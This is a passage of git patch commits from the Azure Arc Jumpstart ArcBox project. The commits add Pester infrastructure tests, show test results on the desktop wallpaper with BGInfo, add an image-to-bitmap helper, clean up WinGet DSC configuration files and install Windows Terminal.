($templateBaseUrl + "artifacts/testDefenderForSQL.ps1") -OutFile $Env:ArcBoxDir\testDefenderForSQL.ps1 + Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/itpro.tests.ps1") -OutFile $Env:ArcBoxTestsDir\itpro.tests.ps1 } # DevOps @@ -215,6 +219,7 @@ if ($flavor -eq "DevOps") { Invoke-WebRequest ($templateBaseUrl + "artifacts/gitops_scripts/ResetBookstore.ps1") -OutFile $Env:ArcBoxGitOpsDir\ResetBookstore.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/icons/arc.ico") -OutFile $Env:ArcBoxIconDir\arc.ico Invoke-WebRequest ($templateBaseUrl + "artifacts/icons/bookstore.ico") -OutFile $Env:ArcBoxIconDir\bookstore.ico + Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/devops.tests.ps1") -OutFile $Env:ArcBoxTestsDir\devops.tests.ps1 } # DataOps @@ -240,6 +245,7 @@ if ($flavor -eq "DataOps") { Invoke-WebRequest ($templateBaseUrl + "artifacts/installArcAgent.ps1") -OutFile $Env:ArcBoxDir\agentScript\installArcAgent.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/installArcAgentSQLSP.ps1") -OutFile $Env:ArcBoxDir\agentScript\installArcAgentSQLSP.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/testDefenderForSQL.ps1") -OutFile $Env:ArcBoxDir\testDefenderForSQL.ps1 + Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/dataops.tests.ps1") -OutFile $Env:ArcBoxTestsDir\dataops.tests.ps1 } # Full diff --git a/azure_jumpstart_arcbox/artifacts/tests/common.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/common.tests.ps1 new file mode 100644 index 0000000000..58c9706818 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/tests/common.tests.ps1 @@ -0,0 +1,15 @@ +BeforeDiscovery { + $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force + $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) + + $null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId +} + +Describe "ArcBox resource group" -ForEach $VMs { + BeforeAll { + $ResourceGroupName = $env:resourceGroup + } + It "should have 20 resources or more" { + (Get-AzResource -ResourceGroupName $ResourceGroupName).count | Should -BeGreaterOrEqual 20 + } +} diff --git a/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 new file mode 100644 index 0000000000..e69de29bb2 diff --git a/azure_jumpstart_arcbox/artifacts/tests/devops.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/devops.tests.ps1 new file mode 100644 index 0000000000..e69de29bb2 diff --git a/azure_jumpstart_arcbox/artifacts/tests/itpro.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/itpro.tests.ps1 new file mode 100644 index 0000000000..d2b4ec7287 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/tests/itpro.tests.ps1 @@ -0,0 +1,33 @@ + +BeforeDiscovery { + $VMs = @("ArcBox-SQL", "ArcBox-Ubuntu-01", "ArcBox-Ubuntu-02","ArcBox-Win2K19","ArcBox-Win2K22") + + $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force + $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) + + $null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId +} + +# Assert that the Hyper-V virtual machines in $VMs exists, are running and connected as Azure Arc-enabled servers + +Describe "" -ForEach $VMs { + BeforeAll { + $vm = $_ + } + It "VM exists" { + $vmobject = Get-VM -Name $vm + $vmobject | Should -Not -BeNullOrEmpty + } + It "VM is running" { + $vmobject = Get-VM -Name $vm + $vmobject.State | Should -Be "Running" + } + It "Azure Arc Connected Machine exists" { + $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $connectedMachine | Should -Not -BeNullOrEmpty + } + It "Azure Arc Connected Machine is connected" { + $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $connectedMachine.Status | Should -Be "Connected" + } +} From bd5b14cf5b3d9aa972f524fdad2f4a81b8de9a5f Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 26 Dec 2023 12:14:02 +0000 Subject: [PATCH 020/456] Added test results to wallpaper using BGInfo Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 47 +++++++++++++++--- .../artifacts/Bootstrap.ps1 | 1 + .../artifacts/tests/arcbox-bginfo.bgi | Bin 0 -> 1125 bytes .../artifacts/tests/common.tests.ps1 | 6 +-- 4 files changed, 44 insertions(+), 10 deletions(-) create mode 100644 azure_jumpstart_arcbox/artifacts/tests/arcbox-bginfo.bgi diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 713ff976e3..e7911c633c 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -2,6 +2,7 @@ $Env:ArcBoxDir = "C:\ArcBox" $Env:ArcBoxLogsDir = "$Env:ArcBoxDir\Logs" $Env:ArcBoxVMDir = "$Env:ArcBoxDir\Virtual Machines" $Env:ArcBoxIconDir = "$Env:ArcBoxDir\Icons" +$Env:ArcBoxTestsDir = "$Env:ArcBoxDir\Tests" $agentScript = "$Env:ArcBoxDir\agentScript" # Set variables to execute remote powershell scripts on guest VMs @@ -491,17 +492,49 @@ Set-JSDesktopBackground -ImagePath $wallpaperPath Write-Header "Running tests to verify infrastructure" -Invoke-Pester -Path "$Env:ArcBoxTestsDir\common.tests.ps1" -Output Detailed +Invoke-Pester -Path "$Env:ArcBoxTestsDir\common.tests.ps1" -Output Detailed -PassThru -OutVariable tests_common +$tests_passed = $tests_common.Passed.Count +$tests_failed = $tests_common.Failed.Count switch ($env:flavor) { - 'DevOps' { Invoke-Pester -Path "$Env:ArcBoxTestsDir\devops.tests.ps1" -Output Detailed } - 'DataOps' { Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed } - 'ITPro' { Invoke-Pester -Path "$Env:ArcBoxTestsDir\itpro.tests.ps1" -Output Detailed } + 'DevOps' { + Invoke-Pester -Path "$Env:ArcBoxTestsDir\devops.tests.ps1" -Output Detailed -PassThru -OutVariable tests_devops + $tests_passed = $tests_passed + $tests_devops.Passed.Count + $tests_failed = $tests_failed + $tests_devops.Failed.Count +} + 'DataOps' { + Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed -Output Detailed -PassThru -OutVariable tests_dataops + $tests_passed = $tests_passed + $tests_dataops.Passed.Count + $tests_failed = $tests_failed + $tests_dataops.Failed.Count + } + 'ITPro' { + Invoke-Pester -Path "$Env:ArcBoxTestsDir\itpro.tests.ps1" -Output Detailed -PassThru -OutVariable tests_itpro + $tests_passed = $tests_passed + $tests_itpro.Passed.Count + $tests_failed = $tests_failed + $tests_itpro.Failed.Count +} 'Full' { - Invoke-Pester -Path "$Env:ArcBoxTestsDir\devops.tests.ps1" -Output Detailed - Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed - Invoke-Pester -Path "$Env:ArcBoxTestsDir\itpro.tests.ps1" -Output Detailed + Invoke-Pester -Path "$Env:ArcBoxTestsDir\devops.tests.ps1" -Output Detailed -PassThru -OutVariable tests_devops + $tests_passed = $tests_passed + $tests_devops.Passed.Count + $tests_failed = $tests_failed + $tests_devops.Failed.Count + + Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed -PassThru -OutVariable tests_dataops + $tests_passed = $tests_passed + $tests_dataops.Passed.Count + $tests_failed = $tests_failed + $tests_dataops.Failed.Count + + Invoke-Pester -Path "$Env:ArcBoxTestsDir\itpro.tests.ps1" -Output Detailed -PassThru -OutVariable tests_itpro + $tests_passed = $tests_passed + $tests_itpro.Passed.Count + $tests_failed = $tests_failed + $tests_itpro.Failed.Count } } +Write-Output "Tests succeeded: $tests_passed" +Write-Output "Tests failed: $tests_failed" + +Write-Header "Adding deployment test results to wallpaper using BGInfo" + +Set-Content 'C:\Windows\Temp\arcbox-tests-succeeded.txt' $tests_passed +Set-Content 'C:\Windows\Temp\arcbox-tests-failed.txt' $tests_failed + +bginfo $Env:ArcBoxTestsDir\arcbox-bginfo.bgi /timer:0 /NOLICPROMPT + Stop-Transcript diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 1e8b230894..c4b26a4e3e 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -169,6 +169,7 @@ Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/common.dsc.yml") -OutFile $ Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/dataops.dsc.yml") -OutFile $Env:ArcBoxDscDir\dataops.dsc.yml Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/devops.dsc.yml") -OutFile $Env:ArcBoxDscDir\devops.dsc.yml Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/itpro.dsc.yml") -OutFile $Env:ArcBoxDscDir\itpro.dsc.yml +Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/arcbox-bginfo.bgi") -OutFile $Env:ArcBoxTestsDir\arcbox-bginfo.bgi Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/common.tests.ps1") -OutFile $Env:ArcBoxTestsDir\common.tests.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/WinGet.ps1") -OutFile $Env:ArcBoxDir\WinGet.ps1 Invoke-WebRequest ($templateBaseUrl + "../tests/GHActionDeploy.ps1") -OutFile "$Env:ArcBoxDir\GHActionDeploy.ps1" diff --git a/azure_jumpstart_arcbox/artifacts/tests/arcbox-bginfo.bgi b/azure_jumpstart_arcbox/artifacts/tests/arcbox-bginfo.bgi new file mode 100644 index 0000000000000000000000000000000000000000..cbfeba7c828e4eb4c9535eab98a0c9a31e2ec303 GIT binary patch literal 1125 zcmah|ZEMs(5Z?L%+FAt>{F*QQV6jIoZQ*D|=(Sb^Yo%W4mw~d`Y|?G_cH{2EyK)r# z5B?$lnBeTjOJ5L8m~1l7GtbV#BLoO~VXB$(n2lN>%T#v~o|1pW{YB2*PI2CN?9c^5mI5lLc%lkC%R1=itc4C6tQ*`{TC%`?PPQ_V z<9Y>#??0H*_VRHZQ`+OmbM9MOpt2`qbML{?ag4tg0JcbW!nLk>EnW1ll4o}dPLwI^ z#KT19FqsoNuNqfr@4T+q^38baMVIwM0z$c+__3!A=G_Zfh0p^&-L=}fp~CA>^2dzd zIcMD`i>kcr0s|KM6x6;5C*^hHgJvl7qphsDgOQs(BO6IKR)*`pz#-YgntyF%ID?^` z-r6%Hel*&T9r{5#&A?&V2X4HI4^dbBY%_yGmSqaYHcHrW%`rGMH&s7fU!Or~4Pvh8 zC56%`4W&5a&Pz;_9jCb7zPegooPh`}Azrc#P8QkbCRCx)@RI9B(z+dat58WJ9j7r% zj+8hfZkqJdUfRpj^^L(5d{c6AK?k`3jp!%Ki%@e{K&jTU!5{^#;)2t-2r4Is(r1HY zPuALAj-|oGBge*vxHg)eMA=A2(xXp&BZQQNEVh6~4r*sn3QXQ`CvrPI#XvgkNN?wa zwAE`hN=_5~Pl1+kH~MBy)Q#)0*jG{)p0V$A)AfSvRz9s Date: Tue, 26 Dec 2023 16:41:40 +0000 Subject: [PATCH 021/456] Added Convert-JSImageToBitMap (for BGInfo to work) Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 10 ++++++---- .../Azure.Arc.Jumpstart.Common.psd1 | 4 ++-- .../Functions/Public/Convert-JSImageToBitMap.ps1 | 10 ++++++++++ 3 files changed, 18 insertions(+), 6 deletions(-) create mode 100644 azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Convert-JSImageToBitMap.ps1 diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index e7911c633c..ed125ca99d 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -483,12 +483,14 @@ Write-Host "Creating deployment logs bundle" 7z a $Env:ArcBoxLogsDir\LogsBundle-"$RandomString".zip $Env:ArcBoxLogsDir\*.log }' -# Changing to Jumpstart ArcBox wallpaper +#Changing to Jumpstart ArcBox wallpaper Write-Header "Changing wallpaper" -$wallpaperPath = "$Env:ArcBoxDir\wallpaper.png" -Set-JSDesktopBackground -ImagePath $wallpaperPath +# bmp file is required for BGInfo +Convert-JSImageToBitMap -SourceFilePath "$Env:ArcBoxDir\wallpaper.png" -DestinationFilePath "$Env:ArcBoxDir\wallpaper.bmp" + +Set-JSDesktopBackground -ImagePath "$Env:ArcBoxDir\wallpaper.bmp" Write-Header "Running tests to verify infrastructure" @@ -535,6 +537,6 @@ Write-Header "Adding deployment test results to wallpaper using BGInfo" Set-Content 'C:\Windows\Temp\arcbox-tests-succeeded.txt' $tests_passed Set-Content 'C:\Windows\Temp\arcbox-tests-failed.txt' $tests_failed -bginfo $Env:ArcBoxTestsDir\arcbox-bginfo.bgi /timer:0 /NOLICPROMPT +bginfo.exe $Env:ArcBoxTestsDir\arcbox-bginfo.bgi /timer:0 /NOLICPROMPT Stop-Transcript diff --git a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 index e81135c294..e3fa33299e 100644 --- a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 +++ b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 @@ -12,7 +12,7 @@ RootModule = 'Azure.Arc.Jumpstart.Common.psm1' # Version number of this module. -ModuleVersion = '0.0.1' +ModuleVersion = '0.0.3' # Supported PSEditions # CompatiblePSEditions = @() @@ -69,7 +69,7 @@ Description = 'Common functions for Azure Arc Jumpstart' # NestedModules = @() # Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. -FunctionsToExport = 'Set-JSDesktopBackground' +FunctionsToExport = 'Set-JSDesktopBackground','Convert-JSImageToBitMap' # Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. CmdletsToExport = '' diff --git a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Convert-JSImageToBitMap.ps1 b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Convert-JSImageToBitMap.ps1 new file mode 100644 index 0000000000..6c282a1981 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Convert-JSImageToBitMap.ps1 @@ -0,0 +1,10 @@ +function Convert-JSImageToBitMap { + param ( + $SourceFilePath, + $DestinationFilePath + ) + [Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") | Out-Null + $file = Get-Item $SourceFilePath + $convertfile = new-object System.Drawing.Bitmap($file.Fullname) + $convertfile.Save($newfilname, "bmp") +} \ No newline at end of file From dea4b024ecd42eb305e3cd4c8b4674220c7d5e64 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 26 Dec 2023 17:48:01 +0000 Subject: [PATCH 022/456] Bugfix - path Signed-off-by: Jan Egil Ring --- .../Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 | 2 +- .../Functions/Public/Convert-JSImageToBitMap.ps1 | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 index e3fa33299e..e02b6b26dc 100644 --- a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 +++ b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 @@ -12,7 +12,7 @@ RootModule = 'Azure.Arc.Jumpstart.Common.psm1' # Version number of this module. -ModuleVersion = '0.0.3' +ModuleVersion = '0.0.4' # Supported PSEditions # CompatiblePSEditions = @() diff --git a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Convert-JSImageToBitMap.ps1 b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Convert-JSImageToBitMap.ps1 index 6c282a1981..bbcf65126b 100644 --- a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Convert-JSImageToBitMap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Convert-JSImageToBitMap.ps1 @@ -6,5 +6,5 @@ function Convert-JSImageToBitMap { [Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") | Out-Null $file = Get-Item $SourceFilePath $convertfile = new-object System.Drawing.Bitmap($file.Fullname) - $convertfile.Save($newfilname, "bmp") + $convertfile.Save($DestinationFilePath, "bmp") } \ No newline at end of file From b3bc4d23684e86d1db9fefa73a21ba500acb0668 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 26 Dec 2023 23:26:01 +0000 Subject: [PATCH 023/456] Removed undesired prerelease-flag Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml | 6 ------ azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml | 4 ---- azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml | 1 - 3 files changed, 11 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml index 86bd3f2de5..57d3cf9aed 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml @@ -6,7 +6,6 @@ properties: id: kubectl directives: description: Install kubectl - allowPrerelease: true settings: id: Kubernetes.kubectl source: winget @@ -14,7 +13,6 @@ properties: id: kubectx directives: description: Install kubectx - allowPrerelease: true settings: id: ahmetb.kubectx source: winget @@ -22,7 +20,6 @@ properties: id: DotNetSDK7 directives: description: Install Microsoft DotNet SDK 7 - allowPrerelease: true settings: id: Microsoft.DotNet.SDK.7 source: winget @@ -30,7 +27,6 @@ properties: id: SQLServerManagementStudio directives: description: Install Microsoft SQL Server Management Studio - allowPrerelease: true settings: id: Microsoft.SQLServerManagementStudio source: winget @@ -38,7 +34,6 @@ properties: id: Microsoft.Azure.DataCLI directives: description: Install Microsoft Azure Data CLI - allowPrerelease: true settings: id: Microsoft.Azure.DataCLI source: winget @@ -46,7 +41,6 @@ properties: id: Microsoft.AzureDataStudio directives: description: Install Microsoft Azure Data Studio - allowPrerelease: true settings: id: Microsoft.AzureDataStudio source: winget diff --git a/azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml index ded57fe8cc..24a479cb3a 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml @@ -6,7 +6,6 @@ properties: id: kubectl directives: description: Install kubectl - allowPrerelease: true settings: id: Kubernetes.kubectl source: winget @@ -14,7 +13,6 @@ properties: id: kubectx directives: description: Install kubectx - allowPrerelease: true settings: id: ahmetb.kubectx source: winget @@ -22,7 +20,6 @@ properties: id: DotNetSDK7 directives: description: Install Microsoft DotNet SDK 7 - allowPrerelease: true settings: id: Microsoft.DotNet.SDK.7 source: winget @@ -30,7 +27,6 @@ properties: id: helm directives: description: Install Helm - allowPrerelease: true settings: id: Helm.Helm source: winget diff --git a/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml index ff917f2c8b..a6a2d1014e 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml @@ -6,7 +6,6 @@ properties: id: terraform directives: description: Install Terraform - allowPrerelease: true settings: id: Hashicorp.Terraform source: winget From fecc6477d01acfd29e8bdb737664350c8366a73e Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 26 Dec 2023 23:26:14 +0000 Subject: [PATCH 024/456] Added Windows Terminal Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 8 ++++++ azure_jumpstart_arcbox/artifacts/WinGet.ps1 | 1 + .../artifacts/dsc/common.dsc.yml | 26 +++++++++++-------- 3 files changed, 24 insertions(+), 11 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index ed125ca99d..b6ef9f1b4a 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -41,6 +41,14 @@ foreach ($key in $keys) { } } +# Create Windows Terminal desktop shortcut +$WshShell = New-Object -comObject WScript.Shell +$WinTerminalPath = (Get-ChildItem "C:\Program Files\WindowsApps" -Recurse | Where-Object { $_.name -eq "wt.exe" }).FullName +$Shortcut = $WshShell.CreateShortcut("$Env:USERPROFILE\Desktop\Windows Terminal.lnk") +$Shortcut.TargetPath = $WinTerminalPath +$shortcut.WindowStyle = 3 +$shortcut.Save() + ################################################ # Setup Hyper-V server before deploying VMs for each flavor ################################################ diff --git a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 index deea085382..6df671a8b3 100644 --- a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 +++ b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 @@ -9,6 +9,7 @@ Start-Transcript -Path $logFilePath -Force -ErrorAction SilentlyContinue Install-PSResource -Name Microsoft.WinGet.DSC -Scope AllUsers -Quiet -AcceptLicense -TrustRepository -Prerelease # Install DSC resources required for ArcBox +Install-PSResource -Name DSCR_Font -Scope AllUsers -Quiet -AcceptLicense -TrustRepository Install-PSResource -Name HyperVDsc -Scope AllUsers -Quiet -AcceptLicense -TrustRepository -Prerelease # Install WinGet CLI diff --git a/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml index 1e6479c354..e6943d3ff8 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml @@ -6,7 +6,6 @@ properties: id: git directives: description: Install Git - allowPrerelease: true settings: id: Git.Git source: winget @@ -14,7 +13,6 @@ properties: id: vscode directives: description: Install Visual Studio Code - allowPrerelease: true settings: id: Microsoft.VisualStudioCode source: winget @@ -22,7 +20,6 @@ properties: id: AzureCLI directives: description: Install Azure CLI - allowPrerelease: true settings: id: Microsoft.AzureCLI source: winget @@ -30,7 +27,6 @@ properties: id: PowerShell7 directives: description: Install PowerShell 7 - allowPrerelease: true settings: id: Microsoft.PowerShell source: winget @@ -38,7 +34,6 @@ properties: id: kubectl directives: description: Install kubectl - allowPrerelease: true settings: id: Kubernetes.kubectl source: winget @@ -46,7 +41,6 @@ properties: id: edge directives: description: Install Microsoft Edge - allowPrerelease: true settings: id: Microsoft.Edge source: winget @@ -54,7 +48,6 @@ properties: id: azcopy directives: description: Install azcopy - allowPrerelease: true settings: id: Microsoft.Azure.AZCopy.10 source: winget @@ -62,7 +55,6 @@ properties: id: DotNetSDK7 directives: description: Install Microsoft DotNet SDK 7 - allowPrerelease: true settings: id: Microsoft.DotNet.SDK.7 source: winget @@ -70,7 +62,6 @@ properties: id: helm directives: description: Install Helm - allowPrerelease: true settings: id: Helm.Helm source: winget @@ -78,7 +69,6 @@ properties: id: Microsoft.Sysinternals.BGInfo directives: description: Install Sysinternals BGInfo - allowPrerelease: true settings: id: Microsoft.Sysinternals.BGInfo source: winget @@ -86,10 +76,24 @@ properties: id: OpenSSL directives: description: Install OpenSSL - allowPrerelease: true settings: id: FireDaemon.OpenSSL source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: Microsoft.WindowsTerminal + directives: + description: Install Microsoft Windows Terminal + settings: + id: Microsoft.WindowsTerminal + version: "1.18.3181.0" + source: winget + - resource: DSCR_Font/cFont + id: CascadiaMono + directives: + description: Install font CascadiaMono + settings: + FontName: Cascadia Mono + FontFile: C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.18.3181.0_x64__8wekyb3d8bbwe\CascadiaMono.ttf - resource: PSDscResources/WindowsFeature id: Hyper-V directives: From 37eafb42c890a8a1f9590c4bfa009eeddaf18955 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Wed, 27 Dec 2023 00:07:54 +0000 Subject: [PATCH 025/456] Windows Terminal needs to be installed per user, while WinGet Configuration runs as SYSTEM. Hence, this package is now installed in the logon script. Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/WinGet.ps1 | 5 +++++ azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml | 8 -------- 2 files changed, 5 insertions(+), 8 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 index 6df671a8b3..549120bc73 100644 --- a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 +++ b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 @@ -17,6 +17,11 @@ $null = Repair-WinGetPackageManager -AllUsers Write-Header 'Installing WinGet packages and DSC configurations' $winget = Join-Path -Path $env:LOCALAPPDATA -ChildPath Microsoft\WindowsApps\winget.exe + +# Windows Terminal needs to be installed per user, while WinGet Configuration runs as SYSTEM. Hence, this package is installed in the logon script. +& $winget install Microsoft.WindowsTerminal --version 1.18.3181.0 -s winget + +# Apply WinGet Configuration files & $winget configure --file C:\ArcBox\DSC\common.dsc.yml --accept-configuration-agreements --disable-interactivity switch ($env:flavor) { diff --git a/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml index e6943d3ff8..3e21650827 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml @@ -79,14 +79,6 @@ properties: settings: id: FireDaemon.OpenSSL source: winget - - resource: Microsoft.WinGet.DSC/WinGetPackage - id: Microsoft.WindowsTerminal - directives: - description: Install Microsoft Windows Terminal - settings: - id: Microsoft.WindowsTerminal - version: "1.18.3181.0" - source: winget - resource: DSCR_Font/cFont id: CascadiaMono directives: From f8e0455a06da8aefe2f5dea1b2cbfb1f74bde9e0 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Wed, 27 Dec 2023 09:21:04 +0000 Subject: [PATCH 026/456] Configured Windows Terminal as the default terminal application Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index b6ef9f1b4a..1f1c5dd2b6 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -49,6 +49,19 @@ $Shortcut.TargetPath = $WinTerminalPath $shortcut.WindowStyle = 3 $shortcut.Save() +# Configure Windows Terminal as the default terminal application +$registryPath = "HKCU:\Console\%%Startup" + +if (Test-Path $registryPath) { + Set-ItemProperty -Path $registryPath -Name "DelegationConsole" -Value "{2EACA947-7F5F-4CFA-BA87-8F7FBEEFBE69}" + Set-ItemProperty -Path $registryPath -Name "DelegationTerminal" -Value "{E12CFF52-A866-4C77-9A90-F570A7AA2C6B}" +} else { + New-Item -Path $registryPath -Force | Out-Null + Set-ItemProperty -Path $registryPath -Name "DelegationConsole" -Value "{2EACA947-7F5F-4CFA-BA87-8F7FBEEFBE69}" + Set-ItemProperty -Path $registryPath -Name "DelegationTerminal" -Value "{E12CFF52-A866-4C77-9A90-F570A7AA2C6B}" +} + + ################################################ # Setup Hyper-V server before deploying VMs for each flavor ################################################ From 1984065f855e16aa035ad214174b4a326f3834a6 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: 